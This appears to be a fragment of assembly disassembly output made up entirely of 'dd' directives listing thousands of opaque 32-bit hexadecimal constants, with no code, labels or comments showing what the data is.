dd 4C25CF9h, 0B8EA39E3h, 0EDBB8043h, 3404516Bh, 0E1C5D22Bh
dd 62F77E86h, 0AAE6F5h
dd 9A821231h, 0F557C021h, 25919460h, 0B25F2F3Bh, 28F0D59Fh
dd 57590997h, 2D3F16BDh, 0C2C809C1h, 9C4F5FEAh, 76BDE844h
dd 0E3220CADh, 80659597h, 790CB960h, 94F1F24h, 0E84AD7E2h
dd 2E7112D9h, 217AEAh, 31A16BFEh, 16B337D4h, 31697B34h
dd 0E4CBA549h, 0C20045B6h, 0DC0282EAh, 2D53E55Bh, 0F30247D9h
dd 9E5D1425h, 3F47450Fh, 3331DF35h, 4289DE8Bh, 0B75D2871h
dd 84189176h, 4A82DF0Dh, 0FF4D909Dh, 250898E1h, 7AE71C61h
dd 5F042E09h, 9807C23Dh, 0F92B0F88h, 0DAD02B2h, 825E0AABh
dd 0ED6A1451h, 950BE8B5h, 0BD38934Ch, 98CE4BB9h, 0BF5CA934h
dd 0B9C06E9Bh, 3ED73758h, 0B3217F04h, 14C069FEh, 0B982874h
dd 60F98A24h, 70707773h, 0FBE200D0h, 0A20D7DFDh, 291248EFh
dd 0F25699BDh, 0CE2F1401h, 162F0E45h, 0E0C0A6CFh, 2F7AD3F1h
dd 0D97ECCE4h, 85E9BB60h, 0F7F60214h, 0D7381EEBh, 0A475DBC2h
dd 3E85F4Dh, 59345B4Ch, 38E5B993h, 539F70EDh, 0E27A78E5h
dd 8DFA4D0Eh, 6D2DA29Ah, 0A54C5CB7h, 12F4B47Ch, 0AF081407h
dd 766D970Bh, 0FA4DEB1Fh, 72C75540h, 0AB3413E3h, 20DDAC9Ch
dd 60500906h, 0C075D48Ah, 69E780EDh, 0E6FF6615h, 87411710h
dd 9F7BC96h, 0DE5652B4h, 92B36284h, 0FA6D8157h, 31FD4DB7h
dd 4E1EFD2Bh, 15AC91BDh, 0A7EA258Ch, 0CCBFFE6h, 0E969E149h
dd 2C8EF87Ah, 0F568D70Bh, 5D022909h, 359FC396h, 0B9D1F9Dh
dd 0B4740A7Fh, 414D8D58h, 136731Fh, 64D4DB81h, 0AD6B725Eh
dd 84AF92CEh, 0F7CAEEC4h, 11271CA0h, 4295ED44h, 97425221h
dd 0ABA491F6h, 5DFD3B16h, 0EAF5958Eh, 0BF465B76h, 8BA4D35h
dd 81260A39h, 6DA4F812h, 16F125BDh, 49F59EEh, 9BFA1238h
dd 80465C62h, 83FDD9B9h, 0AB4000C7h, 1F5B8E18h, 90BD0FDBh
dd 9765889Dh, 8B5BE9B8h, 1EBFDFC7h, 0CC015F43h, 0A6E06981h
dd 0B14827F5h, 68B72758h, 4E5720C2h, 1D3D3442h, 0D074B0D9h
dd 7971C4B5h, 409200E1h, 0E3F93BCCh, 1F1CB685h, 838FA18Ch
dd 1BA622C4h, 0BFE67F6Eh, 0EB19681Eh, 5C0A3E40h, 0E026691h
dd 5EB3A9D8h, 0BEC62532h, 59842B9Bh, 0AC28BDF8h, 3B008C1Bh
dd 53139E76h, 0B7B0E26Fh, 97AED098h, 0D0F9B602h, 7DF330F5h
dd 0C1B0B9DAh, 0B0E2120h, 0E9B5095Fh, 2C9C02D2h, 0DC8A123Ah
dd 0FDF5F7E8h, 26EDA83Ah, 39F72894h, 72A53005h, 2BC2F109h
dd 0D60A5F28h, 2243E83Bh, 0F380121Eh, 0AE20F3E5h, 51163748h
dd 25E29105h, 1382F0Fh, 25F8A18h, 77089953h, 39AD8C7h
dd 0E6D3752Ah, 486A3570h, 95053AECh, 0F2FC12B3h, 5F220BF5h
dd 0F2AB77B0h, 0EEF72D4Ah, 439EB4EDh, 71F19F61h, 0BB15C443h
dd 2E7FB178h, 7CCD54Bh, 5BF1366h, 339AFBE9h, 32D6097h
dd 68255B01h, 42DFCCBFh, 0BD107A8Eh, 960B2839h, 6E74DA8Bh
dd 0C47D769h, 2E30FD25h, 0B79D965Bh, 0A1DB01D0h, 7B9D4901h
dd 0E1C92FE0h, 0D1C58104h, 0F0E63A1Fh, 8A3016F2h, 1433486Fh
dd 482A1910h, 4B5D3B7Ah, 19F2D1A6h, 3225532h, 7B7F30EDh
dd 10B4F80Eh, 6D652C13h, 800207FFh, 0BD29A0EBh, 0B99722F5h
dd 0F1D0BF42h, 0C9245886h, 0E6676404h, 0C22CBC2Fh, 0D48D0FFCh
dd 0B45694C5h, 5F4B5D32h, 69E36D77h, 9F02DF7Bh, 75FFD3E4h
dd 6D88C90h, 0F4057000h, 8149FD6Fh, 12E10B73h, 0E65C4D52h
dd 5D131DE2h, 355DA832h, 393003Fh, 9ADBECCCh, 16736016h
dd 78D97309h, 9A379572h, 0B22E2A01h, 0C1CA9C2Bh, 0F32909E4h
dd 448F3604h, 0D37FBD25h, 0A5A038B6h, 9D73F208h, 3736DA09h
dd 807F7975h, 0E8FDF9BBh, 5B9F6A43h, 0C2567837h, 9C471D09h
dd 4EE059C7h, 9280428h, 3D30D120h, 6D5DB750h, 6BD8532Dh
dd 5BEC0B14h, 0B6BD9620h, 38C1AACh, 0A8B9F941h, 0BAC54254h
dd 0EFB11C16h, 0F4AEAC3Bh, 0EBE043F6h, 2102D3A6h, 660983BFh
dd 1D97596h, 8DFE5313h, 0AFCCDF81h, 702173DDh, 2D897F08h
dd 73D17585h, 2BEB5CBh, 0AC205E8Ah, 25C7FC60h, 17635A4h
dd 81237D20h, 0B23B8592h, 85338F4Ch, 38BA2D69h, 9EAF5E3Ch
dd 0E07850C0h, 0A6340230h, 0D381CE96h, 0BA209C3h, 93426E77h
dd 0B75D58FFh, 1B489304h, 4AFAC6F8h, 81A7A9D5h, 5C9127BFh
dd 0BF3D2E5Dh, 0CA85E3Dh, 0F79BE927h, 14BF7920h, 2EE5604Ch
dd 64B74730h, 88E87790h, 0E6F84E24h, 0FF1AC101h, 0A70CCFBAh
dd 1DF1E8h, 0D04FCCB4h, 66A8BBCBh, 2347D824h, 544BE20h
dd 130EB952h, 9D807090h, 0A1A418D9h, 2AE9F8F0h, 0F7B86CFDh
dd 4E307A1Fh, 0E4EF8E45h, 1B05A6C1h, 5E1DDE06h, 0D4A61518h
dd 0F6E5776Bh, 0BB09D525h, 9AB32058h, 23A8778h, 0F2BDB1C9h
dd 0F640F020h, 0D1BD6650h, 0DE42D52h, 0DD06100h, 0A84F34D7h
dd 24D4951Ah, 5F2C2FDEh, 7CC9107Fh, 0E4FA0CBBh, 6052530Fh
dd 5DAE295Bh, 0D681C093h, 1CDF3772h, 7E9D8925h, 0E6324EA8h
dd 331AB24Ch, 0B68DDE98h, 88411714h, 0C78009EDh, 8547714Eh
dd 0D3D1B589h, 99ACFF79h, 0EFBD201Ah, 0BB781201h, 4AC10838h
dd 0F49EBC2Bh, 6AAAC1BAh, 506E3E02h, 3E3A4A00h, 609071B3h
dd 32004598h, 5B3DBBB8h, 97610CCBh, 0BE011654h, 79C1BD56h
dd 0F0D6167Ah, 770FBAD2h, 924274Bh, 0AD603790h, 740C9FEh
dd 2F0BAB21h, 0D67EA99Dh, 0E7FEF944h, 10A4F0C8h, 2D6A037Ch
dd 0FAD8ADA5h, 3BBD23B1h, 0E912F0F8h, 8440E3EFh, 233E1868h
dd 0BF7C0014h, 7BED825Eh, 0FC0BA298h, 5D7E42C5h, 7EACEEB5h
dd 98594CE0h, 0B03E00EEh, 31AE68F4h, 2F580985h, 2D0184EDh
dd 87B26042h, 5125BF72h, 64715Bh, 23096656h, 4B022C8Eh
dd 0C54061F3h, 0C04E5CDEh, 0F2DBD89h, 6057DC9Fh, 0B6ADA348h
dd 9BDA7700h, 0F5C8F450h, 4DA80918h, 6873CEB8h, 0DA181A71h
dd 2D235600h, 0BB26E5C4h, 0B0131275h, 6964E36Ah, 422F5FEEh
dd 9DDBBAB7h, 1D9BED81h, 5EE32C8Ah, 80D307ABh, 3B7309F3h
dd 0B792682Fh, 7FDC9F14h, 44075908h, 6E16BA29h, 0ACA831BAh
dd 0DDC20808h, 0FA25BE41h, 7E823C0h, 0B93E688h, 77A5CF49h
dd 92FE5D8Bh, 0E2BE5F44h, 4C2E4898h, 28602666h, 0F7193509h
dd 0B85FE046h, 17BA6E8h, 35166DB2h, 0E4FE92ECh, 2E4C4F8Ah
dd 50D00235h, 5C615E03h, 0E1F99237h, 258D2033h, 0C82B82A8h
dd 0C191BB01h, 0D18B431Ch, 0E9FE7E84h, 0DB44CC5Dh, 49380DB8h
dd 2B44124Eh, 0BB2F12EBh, 22BB9388h, 33D2BC2Eh, 0E972D8FAh
dd 0C4923458h, 70AE3161h, 0C9B5294Ch, 19220147h, 0B4EDB323h
dd 895F8176h, 0FC4E4295h, 8EB7B8D7h, 0D4ED9D14h, 9969E0EFh
dd 486E68B4h, 7AC0AD18h, 81C01BF0h, 926843Bh, 0A0DCB17h
dd 3D89195Eh, 8E165D1Dh, 188B59Dh, 0DCB932C7h, 189E2B0Fh
dd 0A2D44680h, 0CB05D3F0h, 398B3AB9h, 0F40045F2h, 308F3DE6h
dd 710B688Dh, 26BB725h, 41241ACh, 4A19B85Bh, 0BABCE1A9h
dd 0E09D087Eh, 5ABD96BAh, 5EF2E2FCh, 48642D91h, 51FEC82Ah
dd 9A87AC00h, 935FFB74h, 4F1C0050h, 4A947720h, 4C257DE2h
dd 61E3768Bh, 20C02B5Fh, 314B1D05h, 9AB35EEh, 1973DA48h
dd 0DC1917F9h, 180ECBE4h, 325F5756h, 0D48099DBh, 67384E7Ch
dd 0F65D822Fh, 219DC169h, 25EA060Ah, 3CC5142Dh, 591B52Dh
dd 0BA4DD54Bh, 0D9B72861h, 0FD0ECF52h, 3DB59FE4h, 0DDEA0003h
dd 0D52A9569h, 0E5B39601h, 0F8E7807Bh, 5B8AD920h, 0F426A28Eh
dd 12A0C0B6h, 2D029677h, 9DC549D9h, 1A71D5F1h, 1C18584h
dd 0DC0EC816h, 9F966900h
dd 0E3F4B9FDh, 897A0E56h, 0F276DA19h, 785B2DBFh, 2A99206Ah
dd 0C1493376h, 0C5612591h, 0BB87133Ah, 0C758A87Bh, 3725AA4Ah
dd 382EAFC8h, 0F8045639h, 0F12C53E2h, 4ADE3A2Eh, 84DDDC89h
dd 9AAEDFDBh, 0C817C8EDh, 504801DFh, 3E959D31h, 0BFE14B40h
dd 4B92329Ah, 1C7A8A03h, 0FF270450h, 0D202E337h, 5C4E2BB4h
dd 43F5071h, 40894FB5h, 7A1C2D6Bh, 1A5AF748h, 1254AE42h
dd 8905DD2h, 0FB00BF09h, 5679D7F8h, 0E996040h, 0E595922Dh
dd 82DBB92h, 0BB8A4BE3h, 540B066Eh, 0C5FC4C6Eh, 60BDC404h
dd 5F156EEFh, 0B14152EEh, 23ED7FDFh, 0A121A697h, 98822042h
dd 0F80A9BF3h, 0D2C57377h, 9F707857h, 7B567162h, 0A05AFF91h
dd 6E95204Fh, 20574AA8h, 0D0B44160h, 0E1D36600h, 2EE53CF2h
dd 0CFE3023Bh, 5B6B7C9Fh, 8160515Ch, 2F3BFED3h, 0EA583F88h
dd 9C5E925h, 0C40F4DAAh, 0DCA3BAFEh, 0FCCB8701h, 6EFA8A4Ch
dd 0C1A94C2h, 0CE00BF5Eh, 68577124h, 7A0A4246h, 26A60950h
dd 52702C55h, 1541B91Fh, 5014F62Fh, 7EB7481Ah, 0ADFDC474h
dd 0A844A79h, 0F79FA6FBh, 509BFCCBh, 98BD8A0Fh, 2DEC5477h
dd 98DBD8E9h, 0EB431CD9h, 0AF13DC65h, 8480A98Ch, 65859F88h
dd 0F4807E9Dh, 502B9616h, 25DF68E0h, 8FC2F98Ah, 0E0C7A34Fh
dd 0B75CEBC0h, 8D294BD5h, 0CD9029Fh, 956666ABh, 0C505F125h
dd 0D67CA6ABh, 0CF675B00h, 4BBC5773h, 0AC694F63h, 0C4EFC064h
dd 0B28A1Fh, 7E78CE0Fh, 0CF8663F2h, 11E5BBA0h, 5CD20982h
dd 4907DED1h, 5B5DFFF3h, 0D2A936D3h, 9ECE4CA0h, 0E5461F14h
dd 5F0CE1B7h, 4D85844Eh, 96005671h, 54DE60BFh, 68EF5005h
dd 0D7CC4AC8h, 8390B5F5h, 0C001E97h, 53AADAC4h, 0E18F54h
dd 0BD4E68D6h, 0F5BF808Ch, 7799D12h, 0B10600BCh, 727F9246h
dd 742F2925h, 0A0D6E92Fh, 0CD945220h, 0CCEDD49h, 36A5EC00h
dd 1B69EBA8h, 0BA5F4A5Bh, 0BF6097C9h, 489073D8h, 8C07FBF7h
dd 990C07D0h, 0CEB31C0Ah, 0B7CB32Bh, 1C46D6h, 6A19F9E1h
dd 17A0B5B8h, 9B6126EFh, 0C746C124h, 0ED0196Dh, 0B5890B8Bh
dd 9EF71E01h, 0DEEACBE5h, 0B51A982h, 97741CDDh, 12ADA872h
dd 2FD661EFh, 0B72227E9h, 4E0EBCD7h, 6FABBCC4h, 0F983B0BCh
dd 4205A5Bh, 925A22F9h, 4CDD6131h, 0D9B512FEh, 8BC4E313h
dd 19DBF24h, 86A82B8Eh, 0FE7A94F6h, 3F4B1F3h, 0C01C880Fh
dd 624C432Ch, 39ECD07Fh, 98FC742Fh, 95C0B7B0h, 35451D1h
dd 0FF21241h, 0F7E9320Eh, 0A982C6B8h, 85C90C2h, 5A6A0966h
dd 0E270EB2Dh, 3839EBBFh, 8DCA6096h, 803C2848h, 5E1FB864h
dd 9AEB07A3h, 73F35210h, 0E8D42E2Fh, 0FD33A3Eh, 0CE575650h
dd 965B255Fh, 0FFE0E0E6h, 0B02AA22h, 0BF621578h, 7847D9Ah
dd 0F5CAEB2Ah, 22DF8104h, 0ACA3B9CFh, 3D128C16h, 0BE09F813h
dd 67F25755h, 7AAA614Bh, 6C280759h, 7779045h, 8966D680h
dd 4D7BB853h, 5B273F6Dh, 279A35F7h, 0E30371ECh, 0B9BD2B52h
dd 0BC554E32h, 0DBAFF4E7h, 702A8086h, 2CF7A1B9h, 11C3222Ch
dd 5F511771h, 0C5001EA2h, 0A726D5FAh, 877CF178h, 56AB0997h
dd 0E200DC2Ch, 8660A79Eh, 97DFF07Eh, 4677A709h, 52954EB3h
dd 0D36BAF79h, 76051D23h, 64FF5678h, 0D688AC9Eh, 0B7E8EF84h
dd 6AB76A27h, 0CF7F2C84h, 0C7AF0CBBh, 6178DF06h, 0D6DA811Fh
dd 744A309h, 3BE4E76Bh, 0B2BF64ABh, 29DF00ACh, 0CE34986Fh
dd 347F5FD7h, 9884EF4Dh, 1081F852h, 172EE133h, 0E317B6A9h
dd 0D3920A2Dh, 444826B6h, 0D59AEEFCh, 4DC414C8h, 504437FBh
dd 0A6C4C0CFh, 0C48A7F4Bh, 0BB244E35h, 71BC6Fh, 21523E80h
dd 3197AE08h, 5B11BD38h, 4B5B6AFAh, 4407398h, 91D65B17h
dd 1BF165D8h, 0B201F67Eh, 0FA309018h, 174C12A6h, 2FFDE187h
dd 80C27CBDh, 0CB5CE1EFh, 71F16Bh, 2D03C2F4h, 4E166724h
dd 5EBD890Fh, 911F51A2h, 2397801Bh, 7F87A43Ch, 0B0825AC2h
dd 0D3952A3Ah, 0B662A52Ah, 5BE01ACDh, 0B5EB8EE8h, 1A6444EFh
dd 0CCA76A60h, 0DA2B7002h, 5C1FE977h, 0EBBD92D0h, 0C197D65Dh
dd 0F205316Fh, 0ACF4DD17h, 1F9516B0h, 954F9BBBh, 0DF18D8CAh
dd 50C21603h, 5A25BD09h, 6580B2DBh, 0C1CEB652h, 0B834B204h
dd 0AEC5EC4Fh, 6A92E0FFh, 2DEE7BCh, 8CB30F6Dh, 0DA832E15h
dd 0C88CE8B8h, 77135D63h, 0C6EEA32Bh, 692074A1h, 0AF6AF222h
dd 0B8A640E9h, 85142B41h, 0BB6080Eh, 55152865h, 5C0096Dh
dd 1BFF54Bh, 71A88818h, 3B3FE780h, 0E305E6B8h, 9284F6CCh
dd 51200CADh, 3F4266h, 2E0F126Ch, 48B9D9BDh, 0ECC8604Bh
dd 3EAF7079h, 0E180301Bh, 5258F58h, 0B018617h, 1E2845F4h
dd 0AF725EDFh, 4895B09h, 680053BDh, 221680ABh, 0BD3CB09Bh
dd 11AD2402h, 9DE369CFh, 0DE0B95B0h, 3B8F1BE9h, 0E7CADD5Ch
dd 0BF5307B3h, 34D0D391h, 9F8F0F5Fh, 1825845h, 571ABD9Dh
dd 0EC89A039h, 57C90485h, 494979D1h, 5B59E2FDh, 0CA2F7039h
dd 0F4A8D900h, 0D8603980h, 21024E6Ah, 0E00DDDCDh, 5707FFADh
dd 0A8D81B68h, 11405095h, 42022054h, 0E7B02C3h, 0D91067E6h
dd 9D09DCA2h, 0BADF98C2h, 9530F75Eh, 6DE0A7EBh, 98E93312h
dd 6F8907F3h, 99F36809h, 27FCE678h, 0A15457D3h, 1259FF7Ah
dd 0C131FC0Ah, 55B92012h, 20D0E8D2h, 0B790001Fh, 0BF52506Bh
dd 411E8292h, 53E55B5Fh, 0A0FEA789h, 8E35F7A5h, 4238199Ch
dd 177BCA03h, 0FBA40DACh, 5D23A409h, 7B951814h, 45511715h
dd 0AEC563AEh, 28E65584h, 7B6D54E1h, 82935FFCh, 3D7D08E5h
dd 0E270095h, 0A094A59Ah, 0E0B17DE4h, 0C74F9980h, 4B529DACh
dd 3501D81Eh, 34600141h, 0A3A3A3B0h, 92AEB45Fh, 0A20EFA12h
dd 542DA7BFh, 0FF69259Fh, 0DD3DA817h, 52651BDh, 0AE14E58Dh
dd 0CD1186E3h, 0BF92DF11h, 346FFBE1h, 2D55FC51h, 86827122h
dd 8CE9AFBBh, 0E980DA4Bh, 4229BD0Bh, 32245428h, 898C08BCh
dd 0C2D10D0Dh, 0C1E9FB68h, 0F70923F1h, 0B5F2709Eh, 0EB50F341h
dd 0A1FFBAC0h, 0F287174Bh, 0C931C390h, 1239695Eh, 2360D6FEh
dd 77F0EB2h, 0DAD63271h, 9D360034h, 723CD9E4h, 59B52F15h
dd 0C7F88045h, 3879B3Fh, 1B203Eh, 0AFD17C6Dh, 2D7DA828h
dd 72735F61h, 80FEF0B2h, 0E9D7DFBCh, 0BB19C061h, 29FC890h
dd 5F269A97h, 1AA01610h, 0CF610803h, 0B08F054Dh, 128859DCh
dd 0F140CD09h, 9EA92A34h, 12ECF98Ah, 4038F6F8h, 204125C6h
dd 9624F104h, 6280A6ACh, 979B6F22h, 0AFCA1D02h, 80D3344Bh
dd 5B8775D9h, 0E3955A31h, 9DDF849Fh, 7855CF11h, 26F930A4h
dd 8D5EAD01h, 673397D6h, 58CEAF98h, 0B6773209h, 0CA90FD09h
dd 98AA84B9h, 0F277A9C2h, 0FCE12DBDh, 0B8002071h, 783D39D7h
dd 0EA710047h, 2D86E19Fh, 0A53DF809h, 1DACDFCAh, 0FBFC5BC5h
dd 0A3D24F9Bh, 8D0104DAh, 61BA1DFDh, 0C46A636Bh, 0E302BAABh
dd 0F6BECF7Ch, 0D4865669h, 0BC001B46h, 5FE6362Bh, 0BB2775D4h
dd 0FCD790F5h, 7A6138EDh, 0D4B4A580h, 0F7A88248h, 250BDD4Dh
dd 0DF39EA5Fh, 0D6E94DCDh, 2952409Ah, 125ECDB5h, 0E2954BD3h
dd 7D365718h, 1CB4E3A0h, 4D094F2Dh, 9BDC5A5h, 0A240A1E0h
dd 67AF880Dh, 1A263E40h, 82195E1Eh, 0FB7C0AE7h, 0EFA0C649h
dd 1189F141h, 4DC9D6Bh, 84E2BEABh, 0C819DB0h, 4AE38080h
dd 813BDB5Ch, 8D755E19h, 282BAC31h, 2A8B1FE8h, 99235CEh
dd 31CD8D29h, 0F6EEECDDh, 9CD1B57Dh, 5CE1FF42h, 4735080h
dd 0A23D9Fh, 5E50E546h
dd 8B4B766Eh, 5F2D838Ah, 50D8A373h, 0B1AFA1F4h, 623307C2h
dd 9C55124Dh, 7EF345F5h, 0BF603A8Ch, 9403E637h, 98F215C8h
dd 98FC57B3h, 0DF8726FCh, 0E6AD1250h, 9C71B457h, 6A703E59h
dd 0AB72259Fh, 0F07456C2h, 0A57D804Fh, 2FF8C3Dh, 0BEC5603Ch
dd 455C6AACh, 5E01598Bh, 6907F493h, 858B67EAh, 9D098B18h
dd 0FD12A9D5h, 6C49096Dh, 89D50C64h, 905DB1B5h, 0F7FD524Fh
dd 68EEBF03h, 0FDDD26CBh, 0B59DB8D5h, 1C0F3F46h, 41EE825Eh
dd 28F0F47h, 2AFE8A11h, 20BF2C13h, 2882C81h, 92A19A01h
dd 6EA97D41h, 0B8008268h, 0B7685B65h, 764B8F9Dh, 78B6E2h
dd 9ED98809h, 0E2D7FB2Ch, 0A3E668EEh, 44890F1Eh, 90E0E552h
dd 909E1348h, 0B88FE976h, 80414F72h, 70EF8013h, 591A7395h
dd 3F8181Bh, 30F4982Fh, 0D1FDC078h, 21AF55B3h, 24287E61h
dd 23E80096h, 1A6BD9DFh, 0F4B57BE1h, 0CBE9070Dh, 0A17C0B01h
dd 7E7417DEh, 4052EED6h, 0AC5F9FB3h, 3BA655DAh, 0AAF526B9h
dd 0BBC98C9Ah, 2A408FF4h, 2F5F27h, 201B1019h, 385111C3h
dd 3FAED8EFh, 0FC30B809h, 0A0867175h, 8C614996h, 156D9D76h
dd 4C6BDBE0h, 31752CAAh, 27BD292Ah, 4E40744Fh, 16751BA3h
dd 0EABD3356h, 4689A321h, 0B87DED7Eh, 806F4AB6h, 75B96617h
dd 7D20E64Fh, 3FD4895h, 0F35030FCh, 69E839D4h, 60B55E26h
dd 4F800FF0h, 5A7EB308h, 9796E4C8h, 800029B7h, 0A2FB393Dh
dd 0B3C0125Dh, 0EAC9C56Fh, 41C0C0DEh, 64964CF7h, 155C6E16h
dd 0F95A90E8h, 72680272h, 4118821Eh, 0ED24DE41h, 9D1D3D8Dh
dd 8283DB5Bh, 0C08483CCh, 811F69D4h, 3CAC7BF5h, 312D48DFh
dd 0FD169016h, 0BE32F0C1h, 387210A6h, 5009A74Bh, 0E012CBE6h
dd 0E2BE640Ch, 4A92024Bh, 0F750A0B0h, 7B696B6Fh, 4F562FC1h
dd 6C18E9C0h, 0BCDF4E8Bh, 1239B604h, 9E48E9FCh, 0E04BC584h
dd 2FC4F4EEh, 28B0F18h, 2D54B323h, 9DF584B7h, 0D8817180h
dd 14971710h, 0B454474h, 2FF955FAh, 4B324A38h, 80579E04h
dd 8CE879E1h, 3D850038h, 9D0373ACh, 45B512F1h, 1218954h
dd 24C765FDh, 0E412D627h, 0B7B3F55Dh, 0D2B3AC5Ah, 0A24F55B3h
dd 0EB1807A6h, 0B9106939h, 19B2838h, 7EA68CCEh, 0E8BCB610h
dd 9639CB55h, 0BB04F50h, 8AB54B9Dh, 60B64E21h, 323D597Ch
dd 0A47FEB4Bh, 1CEB04Ah, 0A81254B5h, 0A0925D1h, 0B579E5Eh
dd 4B90FE5Eh, 0D3BDDCC6h, 0DFB95ADEh, 71A96B09h, 59B4158Ch
dd 9EBC1F4Ah, 0A05BA6B4h, 4B99957Eh, 0C8AA3548h, 5B000A65h
dd 0B9B18D1Bh, 275F730h, 80EDC8FCh, 265C63E3h, 0D0AB0916h
dd 12C3814Bh, 6F366512h, 0BA360FE1h, 0E64A60F0h, 0F6A8BB01h
dd 15C99D29h, 802A702Eh, 87A3C1E7h, 0E57534DAh, 0FAB5A7DCh
dd 6079CC2Fh, 0CB814621h, 1827B835h, 0E2DF5E5Dh, 941C2F71h
dd 0F116D496h, 1E02967Ch, 57501640h, 0E449B9DEh, 0EE960011h
dd 31D4AB2Ch, 0C012E191h, 488DB17h, 6E779Bh, 0B860D992h
dd 77D699EBh, 5B6FFA0Bh, 0CB53ED96h, 0F76C92FFh, 0B051A265h
dd 14F478F9h, 4ECC7A97h, 8D2DD846h, 0F52F352Dh, 9D8597B8h
dd 60C92043h, 0F6A876h, 0BA98D58Ch, 0AC336552h, 0A70B8926h
dd 161C4508h, 0D0FDC896h, 60A2E400h, 507AAA2Bh, 96D9268Bh
dd 79E4DE47h, 0BD892904h, 0E2EE20CDh, 0EFACCFh, 3A72DC8Bh
dd 47E82A96h, 6B5FE155h, 6881D2FCh, 2BF98501h, 19885A9Eh
dd 0D21D2FC0h, 3863274Ch, 89D63FF7h, 9E718E32h, 251C04A6h
dd 0C46971E5h, 50574B5Dh, 0E75F4ACAh, 0B57B5645h, 0D133E0EFh
dd 2707E948h, 0E8B5F505h, 0B6601A13h, 9030ABFh, 0BA95F9B5h
dd 0B1638FEh, 1685DABAh, 61FB1AA9h, 9F58DC6Fh, 32808980h
dd 0CCEAAC3Eh, 0CEA40525h, 0AEF35CE9h, 6E01047Ah, 37963193h
dd 0E17E89D5h, 0AEB6710Dh, 0E970D4A0h, 4A939548h, 0F83AB0CDh
dd 33039625h, 270231BDh, 417B901Ah, 94F0043Ch, 20EA5065h
dd 53D8FC7Ah, 0DC2A4200h, 3119FEE3h, 0F4C49F90h, 9D40D43Dh
dd 0C900B5D8h, 0E4D3BBBFh, 3D820287h, 6A6D3AB3h, 807FB757h
dd 6D37BE1Eh, 2D2F0A89h, 0C76290C5h, 796100CAh, 50A3BD68h
dd 0D7F0808Ch, 2C26381Eh, 626E714Ah, 8F293F85h, 0C54F42FEh
dd 0B05C0ECCh, 59257524h, 382688D2h, 0D725972Ch, 8FB6BA66h
dd 4D47CDCh, 6667A4DBh, 87E4EE11h, 0F7D1978Dh, 0FCA04EBDh
dd 0E0110BBEh, 0E4379061h, 0AAB1AC80h, 13EF9A78h, 0BD6AE3B7h
dd 98BC3Bh, 774DE174h, 67735F9Bh, 6FEF175Fh, 0B1B8024Ah
dd 0C02B097Eh, 0B520F139h, 6DA53EC5h, 84DE47BDh, 0E971AE60h
dd 6309143Dh, 83D001AEh, 94B31768h, 1296F4F8h, 0E282B07Ch
dd 0A0A29EA1h, 9D1BCDCAh, 73A5F579h, 96BB508Bh, 1A5C903h
dd 9AAD2065h, 0EE35153h, 1CC04150h, 8260CA0h, 0E0713D00h
dd 8E568FB3h, 5CFC0E49h, 23E25B43h, 0D6CBEDBDh, 5F78E9C4h
dd 6BABDFC4h, 1A23CCh, 526BD180h, 6E5BE34Ch, 908ACF83h
dd 970C84E9h, 3021C116h, 7B6D2738h, 0F56DE41h, 125472FAh
dd 0E35FF88Bh, 8A9024AFh, 2B138628h, 8E5335BDh, 23B76EAEh
dd 62920018h, 80D49D66h, 0A27FDF28h, 0BB96FE9h, 2AF1BD82h
dd 0A76B45D7h, 754020EDh, 3F197E41h, 4C4CEDB1h, 6A6CD7C1h
dd 73BC3B3Dh, 0A9FF129Eh, 0AC3FB973h, 20B716E0h, 0FE4FF3ACh
dd 0CC350960h, 0B0697B9Eh, 0FBB109DCh, 0A9732BFAh, 9D822010h
dd 0E6750B21h, 0C6E220BFh, 71E43EC4h, 0BDCF60EFh, 128311C5h
dd 0AE7AF02Ch, 0BD333370h, 4B0B5381h, 0CFA2B71Eh, 99A07116h
dd 1958BBB6h, 8ABF0297h, 42BB5CFDh, 8FC26BB3h, 89957AD0h
dd 40D856B1h, 872F2DA4h, 8B68E714h, 0ECE1C0B3h, 730B099Eh
dd 5E947111h, 1616EBF1h, 0C3B06152h, 0B1D1ECD9h, 0C159AD32h
dd 60FB8292h, 2CC5DEB4h, 7503C82Fh, 0E95F6CA2h, 0F8AE57Eh
dd 7B3B708Eh, 0BF01B2B1h, 39CDAE1Ah, 55E0002Eh, 0D7814947h
dd 0A3B04B08h, 72214F63h, 103F3621h, 25316FBBh, 0D6730FB8h
dd 0D9950185h, 0D540F622h, 6123DB9Ch, 22B9121h, 0D72C5EBFh
dd 474ED771h, 0F1088E2Dh, 5BCAA5F5h, 5FCF08D5h, 4D09A226h
dd 4294711Fh, 105B33Bh, 0C96485EAh, 72C26A78h, 0AE5B0527h
dd 1CC94B9Ah, 99D37E30h, 917F6E07h, 0C004CEC7h, 2D354280h
dd 561D5DB9h, 58E78009h, 0B4DF9470h, 957709D0h, 78010D37h
dd 0C02B2A02h, 39F0D826h, 644F8F11h, 207A09B1h, 5CF5244Bh
dd 47220A0Fh, 8511E29Bh, 63DC558Ch, 1D20E7A0h, 649A9514h
dd 0B4D78A8Bh, 0FDD94A23h, 0D5958204h, 69EE752Fh, 8D088143h
dd 42522F41h, 0CCCA7F0Ch, 913FB555h, 2CA8914h, 751F3D05h
dd 60E05BE5h, 3032DE81h, 9520C975h, 3ECB1E7Dh, 81A55961h
dd 1AB22ABFh, 0F282E3Ch, 0FC68A79h, 5B012375h, 0E23CE1B5h
dd 0D5D0C22Fh, 0AABF0408h, 0BC5FC02Eh, 26F9357h, 9630EA5Bh
dd 5B1258BFh, 946F8A3h, 71B49FD7h, 0DF0FBD3Fh, 1C028409h
dd 0B777E1FFh, 87E22DBCh, 1E2D1882h, 5A639CD5h, 0EC79BD3Ah
dd 4CCB0218h, 0FF8FB20Ah, 0E4B9715Fh, 0A241B8FCh, 0EE922E2h
dd 0B772D320h, 997DDEh, 73BA1B92h, 8DC33C50h, 9DA9604Ah
dd 7FE955B8h, 5CF5BBC2h, 92B72542h, 82D5260Bh, 77E1808Bh
dd 6F8094B7h, 0D4AD6905h, 0E2741243h, 0C652E477h, 0FA8B29C5h
dd 47EF6BAAh, 2F7901CBh, 9EE84B53h, 0FF7B093Eh, 12A55571h
dd 4CE5D5DFh, 0B909D54Bh, 2F50E5F7h, 529F9446h, 15BD1052h
dd 0A0F14B20h, 956ACDFCh
dd 0EDCAA56h, 5CCA18A7h, 689EDDC0h, 172FBF3Dh, 0C2FBE091h
dd 6F072044h, 0BA1D592Fh, 3A04F7FCh, 9265E81Bh, 232FE7A3h
dd 443A957h, 18E90293h, 0A901AD16h, 0B5DAD9EBh, 8FEDF5C2h
dd 0E0D46CE9h, 66120BE4h, 51F084BFh, 7ABB694Ah, 66872560h
